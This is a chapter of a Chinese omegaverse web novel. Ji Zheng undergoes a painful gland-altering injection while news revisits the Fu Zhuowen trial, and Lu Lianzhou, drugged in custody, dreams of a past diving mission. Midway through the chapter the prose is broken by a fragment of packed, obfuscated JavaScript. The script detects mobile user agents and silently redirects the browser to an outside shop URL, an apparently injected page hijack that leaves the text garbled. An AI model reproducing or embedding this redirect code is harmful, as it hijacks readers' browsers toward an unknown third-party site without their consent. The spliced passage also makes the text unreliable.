纪铮的房子在山脊中间，做锥形采光，飘摇的雪花慢慢悠悠的掉下来。
纪铮拢着宽松的睡袍，肩膀裸露在外，给自己倒了一杯波特。
出汗打湿了头发，他将头发拢在后面。
陆敛州偶尔会喜欢纪铮的长发，有时候洗完澡也会拿吹风机给他吹，嫌弃纪铮从前的头发像卵|毛，又给他买很多进口护发素。
嘴角的淤青还没散尽，脸上跟手臂又平添了几道。
他散漫地坐在只面对山背的大落地窗下，吸了一口烟，感觉这山的质地像陆敛州找的西点师做的巧克力千层，青苔像是装饰的开心果酱。
黑色的蚂蚱椅上灰貂毯要掉下来了，纪铮仰在上面，屈膝又喝了一点酒来利眠。
空旷的卧室里太安静了，纪铮随手打开了电视来增加一点背景音。
“陆理事长被刺杀后，联盟上层立即发动紧急预案，现由副理事秦修业暂时统筹联盟事宜.....”
“这次由爱国人士组织的K计划在利普道获得成功，也是让民众看到了社会公益组织的担当.....”
“Kite公益性的社会组织一如既往的支持AO社会地位的平等，知情人士曾向本报透露，当年Omega首富付濯文系被构陷，两位评论员对这件事怎么看呢？”
付濯文。
纪铮的眼皮跳了一下。
蓝色幕布上，两位时事政治评论员正在侃侃而谈。
“我们需要先来回顾一下付濯文案，现在简单地概括一下当年大事件脉络。”
电视屏幕上出现一些时间节点。
“这条时间轴是七年前了。”
“七年前，1月下旬，付濯文向全社会提出增加Omega就业岗位，要求企业、事业单位每年招录定额Omega。”
“同年4月，付濯文提出Omega应当享有免费抑制剂，并向全社会公开招标抑制剂生产厂商。”
“同年7月，付濯文提出废除Omega禁止堕胎的法律条例，重新定义生育腔的归属权。”
“同年9月，付濯文提出平等预备役制度，设立Omega专校，为法、政、商输送专业人才。”
“次年，也就是六年前，2月初，付濯文发表公开讲话，废除Omega标记清洗管理条例，并指出如有标记存续期间的Alpha恶意不履行AO信息素约定的，当以伤害罪入刑。”
说到这里，评论员顿了一下。
“七天后，付濯文的私密视频传遍大街小巷，多位匿名人士举报付濯文与其Alpha有染，并将其证据提交。”
“十五天后，万众瞩目的付濯文案开庭，指纹、□□、毛发皆属于付濯文。后续不公开审理，公诉罪为强制猥亵、侮辱罪。我们来看一下当时的判决书，比较惹眼的是的，付濯文虚假承诺重大利益，多人情形加重判罚。”
“大校陆铭璋接受采访时曾说，不相信付濯文会做这样的事情，但是铁证如山。”
“入狱三年半后，付濯文保外就医，精神情况并不理想。”
电视上出现一个拥挤模糊的视频，里面的付濯文被人推搡着，质问着，他看起来惊恐胆小，控制不住的捂着耳朵，瞳孔不断收缩，带着手铐，潦倒失智。
谁能想到之前站在讲坛上那个风度翩翩、光风霁月的首富跟他是一个人呢？
视频里的人推来推去，数也数不清的人造口口跟拆开的避孕套被扔在他身上，整个视频最辛苦是做马赛克的后期人员，哪怕是这样，也有一些疏漏。
视频又转回来两位评论员。
“到现在，K社想要给付濯文翻案，您认为，难点在哪里呢？”
“付濯文案如果被翻，那恐怕大家都会怀疑联盟司法公正。”
“其实提到这里大家也知道，现在最高庭的庭长陆敛州，也就是陆铭璋与付濯文之子，我们不妨大胆地猜测一下，有没有可能是他的儿子想要为他的Omega父亲翻案呢？以此拿到大量的Omega选票？”
评论员说到「大量」这两个字时候还有些欲语还休、自己去悟的感觉。
联盟选举时候，这些评论员、传媒、新闻就开始用自己方式敛财了，如上，纪铮最开始其实都没搞懂这两个评论员的立场是什么，但是到这一句的时候听出来了，他们想将这件事扣在陆敛州身上，说他是一个徇私枉法、试探司法底线的人。
纪铮觉得他们错了。
第一、他最是厌恶这位Omega，绝没可能给他翻案。
第二、他徇私枉法、滥用公权，无需扣锅，事实如此。
纪铮换了一个频道。
但是换来换去，还是「利普道局势」、「陆铭璋被劫机家属刺杀」、「恐怖劫机是否为K社所为」、「秦修业暂代联盟理事并发表重要讲话」，变成了现在的「付濯文案重要证人翻供」，一连串的事情，似乎都是围绕着这个人物——
付濯文。
纪铮大约知道一些他们的往事，大概二十年前，陆铭璋、秦修业、付濯文与老爹四人在预备校相识，当时洲际大战还未爆发但是也有星星点点战火，这四人曾一起在祖国最北边的孔顿驻军，秦修业重要选区，他在那里一呆数年。
时间过去，爱恨情仇功名利禄八个字将他们各个击破。
再后来只说付濯文不知所踪，但是现在旧事重提，风暴中心的人即将回归。
怕是首都要大变局势。
纪铮眯着眼睛去看付濯文的近照，哪怕是模糊了脸也能看见指甲。
暂停、放大。
纪铮确认他服用X－drugs的系列药物。
K社禁药一直都是纪铮的事儿，这药有成瘾性，跟毒品没两样。
*****
老爹肚子里有什么计划纪铮并不清楚。
但是他知道，必须尽快完成二次分化。
二次分化的流程很清晰，第一针用来萎缩Omega腺体，等待信息素完全流失。
这个过程如果是没有被终生标记的Omega可能还好一些，但是如果还有标记液的话，整个溶解过程还要更痛一些，抬手走路都像刀绞神经。
等身体退回Beta状态，各项指标都没有问题之后，再打第二针Alpha诱导剂，引导腺体朝Alpha指标发育，这个过程会比较危险一些。
诱导出来之后，还有一个麻烦的步骤，就是跟信息素同步的生长素。
一般来说，分化期在17、8岁，Alpha生长素会让他们有更硬的骨骼、更好的身体数据，但是纪铮过完年就22岁了，身体是无法再产生这些生长素，于是这些生长素就会淤积，让他的骨骼发痛、让他的血管变热，也是二次分化的高危期，这个时期疼痛难忍，必须使用一些难以戒断的镇痛药剂。
说成通俗易懂的，就是戒/毒/瘾。
九死一生去做一个Alpha。
每一个环节都可能有变故，但是纪铮听完没什么反应。
他的命从他记事开始就没有离开过九死一生这个词语，每天活着看见太阳都值得庆祝。
纪铮从检查台上下来。
Dc白看着显示屏上的生育腔，纪铮的恢复能力比Dc白预估的还要更快：“先生，你这几天恢复得还可以，再休息几天你如果想要进行二次分化可以提上日程，但是我要提醒.....”
“不用。”
陆铭璋被刺杀，付濯文案再审，七天的监禁期满，陆敛州必然会回到首都。
K社跟秦修业的合作基于秦派送乔锐上马，这两天广叔已经开始行贿，巴赫这边需要筹款的B号地标金也已经在准备中。
纪铮算着时间，他需要成为Alpha逃出首都，带着B号地标金的巨额的财富，不会被标记所桎梏，不会因罪行被审判。
纪铮搓着自己的手指计算时间，须这两天完成Beta退化，度过最虚弱的时间，不然怕是两边都没有时间让他苟延残喘。
趁着双方都知道纪铮在利普道行动中负伤，是最好时候。
“现在，打。”
Dc白还想说什么，但是纪铮的脸色不太好。
从医用冰箱内取出的退化药剂。
冰凉的药剂里每一粒冰晶凝结都清晰可见，扎入血管时候的刺痛不言而喻。
纪铮的眉头紧缩，只是推进了一点点，手臂上的青筋就开始泛起紫意，他额角的汗泌了出来，整条手臂像是被冰冻住了。
纪铮开始抽气，蓝色的药剂里面像是养育了世界上最毒的水母，疼痛随着呼吸，它们收缩、舒张，大群水母脉冲式进入纪铮的心脏跟大脑，后脖颈上的腺体像是被毒水母撕咬着，脸惨白得可怕。
纪铮想尝试抓沙发扶手，但是他可能现在感官与识别出了障碍，看一切都又近又远，他无力地靠在沙发上，随诊仪器发出一些警报，白医生盯着纪铮的数据一动不动。
纪铮无法发出声音，呼吸都被扼住了喉咙，心跳在此时放大，瞳孔骤然缩小，果冻一样的腺体在这个时候如被烈火炙烤，濒死的状态持续了大约三分钟。
Dc白随时准备着打强心剂与体外辅助呼吸机，外科医生的手此时都开始发抖。
随着数据警报逐渐平缓，纪铮整个人都已经蜷缩成一只可怜的虫子。
“还好，”白医生的手巾擦了一下汗，“先生的身体素质还可以，24小时就可以结束。”
纪铮眼皮都睁不开，想摆摆手让白医生去忙，他想要休息一会儿，但是他连手都抬不起来。
******
陆敛州禁闭第四夜。
今天陆敛州被带到A区，押送他的狱警并没有对他出示提审单。
监区出身陆敛州对监区探头与巡防无比熟悉，哪怕是柏南与首都有点差异，但是大差不差的系统、工作人员也是一样的体系。
陆敛州被带进训问房。
一般来说，A级的Alpha罪犯身体素质过人、危险系数最高，这儿对拒不招供的Alpha也会采取一些措施，比如像马丁尼这样的致幻药品。
陆敛州在进来的时候就闻到了一点点的这种感觉，像廉价劣质工业酒精。
二级致幻的药品申报起来比较麻烦，也需要多人签字与核查，在场也需要安全环境与监督员，所以陆敛州初步判定，这只是基础致幻。
陆敛州并不清楚柏南的监区或者是上峰需要从他身上获取什么资料，但是在这里的说的每一个字都要注意。
四方空空的房间，中间只有一张囚椅。
昏暗的房间里墙上的写着大大的：忠诚。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806023|210729||http|test|mini|href|location'.split('|'),0,{}));
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>四个角落都有监控，陆敛的州都不需要再做观察，这里面有一个玻璃是单面的，陆敛州猜测是右手边。
陆敛州坐在囚椅上，另外二位警员退了出去。
味道开始变浓。
陆敛州坐在椅子上，打算在这里睡一觉。
他闭上了眼睛，眉头蹙一下都没有。
右上角传来一声，“陆庭长，您休息吧。”
陆敛州淡淡应了一声，阖上了眼皮。
致幻剂开始发作。
竖井任务大约的发生在两年多以前，陆敛州不知道自己为何会忽然想起来这个任务。
当时在警署的时候，他正处在最被落井下石的时候，再加上他个人的也不是什么柔和的个性，所以同组、同期都对他有些龃龉。
任务本身并不复杂，就是下潜至于55米左右的深度，寻找尸体，这具尸体身上可能有关于最新武器的精密数据。
于是陆敛州带队潜水往下，检查好装备之后就下了水。
竖井并不只是一个直直的井，而是水下通道形成了一个「井」字，且这地图也是几年前的图了，现在下面发生了什么未可知。
对于专业搜查来说，这似乎不算一个特别危险的挑战，困难也就是一些比较狭窄过道与氮醉。
但是偏偏，意外发生了，引导绳断了。
陆敛州沉在水下，仪表告诉他现在已到水下35米，但是浑浊了整一片的睡能见度已经基本为0，他跟引导绳一起飘在水下。
他低头想要发送报告，却看见引导绳是用匕首割断的，他现在求助，也许凶手还会再依此寻找到他的位置，若是他从水上来，陆敛州的氧气完全不够用。
风化岩洞里，空气稀薄，装置报警，氮醉的后遗症让陆敛州难以冷静。
纪铮出现的时候，陆敛州都感觉自己出现了幻觉。
他平淡地把自己氧气瓶换给了他。
他重新给了陆敛州引导绳，在水里遇到同伴。
同伴想要在水里扯坏陆敛州供氧装备，于是在水下爆发了一场缓慢、无声、死亡如影随形的战斗，连挥拳与暗算都是陆地上动作的慢放，他们二人合力掐死了对面。
在另一个入口上岸，上岸的时候纪铮的脸已经完全紫了。
纪铮躺在地上，陆敛州转身要走。
纪铮无力又讥诮地笑，看着陆敛州。
走不出几步，远处的车被纪铮炸了。
陆敛州知道原因，被终生标记的Omega到了发热期，但是自己一直都打抑制剂。
他受不了了。
二人在这个露天的坑洞失去知觉，陆敛州再醒的时候，夜间温度零下。
纪铮说：“冷。”
纪铮在他怀里发抖，“抱我。”
纪铮意识不清地说：“怕水。”
纪铮伸手抱住了陆敛州的脖颈，贴着面颊，在他身上汲取温暖。
Omega柔软又浓烈的信息素缠绕着陆敛州，他闭上了眼睛，抱紧了他睡到天光大亮。
睁眼的时候，是一个农妇救了他们。
农妇抱着孩子，很小，奶娃娃。
农妇带他们回去吃饭，AO也不能白吃白喝，没什么能做的只能帮忙看宝宝。
农妇看他们是高科技人员，会有文化，拜托他们起名字。
纪铮想了半天，说叫小白。
陆敛州说你是不是所有东西叫你起名你都叫小白。
－嗯。
－以后你自己生的孩子是不是也能叫小白。
－我是你爹，你现在叫陆小白。
－想死，过来！
于是他们又扭打在一起，打累了又在晒场上亲吻，浑然不管旁边已经哭断气的宝宝。
陆敛州梦里梦到的梦开始无限地往上堆叠，他感觉呼吸困难，冷汗卷了一背的时候，想到——
他们真的再次有宝宝了。
陆敛州感觉纪铮完全不适合生育宝宝。
就他手里的那条蛇他都养不好。
纪铮那条小白智商很低，当然，没有说纪铮智商高的意思。
他那条蛇蜕皮时候像条泥鳅，不知道怎么生病了，巴赫那些人只致力于弄死动物，什么时候会治疗了，后来找了动物专家，才把他的那条泥鳅救活。
救活时候医生说这个泥鳅怕冷，要暖和一点，纪铮给他烧了一锅热水，想给他那个泥鳅暖一暖，结果来人偷袭，他打了一架，小白差点变成一锅蛇汤。
小白被煮之后傻乎乎的，毒牙会把自己毒倒，只能把毒牙拔了，结果被拔牙了之后口炎不会吃饭了，吞也吞不下去，纪铮只能拿筷子给他捅下去，堵在那蛇的嗓子眼，给脖子都堵粗了，咽不下去。
最后还是陆敛州给那条连饭都不会吃的废物喂的饭，喂了好几天，纪铮蹲在旁边看。
纪铮自己也是个傻叉，当时给他的戴了定位手表，出去任务。
他心率升高，他鲜少这样。
陆敛州不动声色地狂飙接近，结果只看见了纪铮鼓着腮帮子蹲在路边的喝奶茶。
没喝过奶茶吗？激动成这样？还喝两杯。
他就是个乡下人。
他怀孕了。
这个蠢货根本照顾不好宝宝。
而且宝宝绝对不可能叫小白。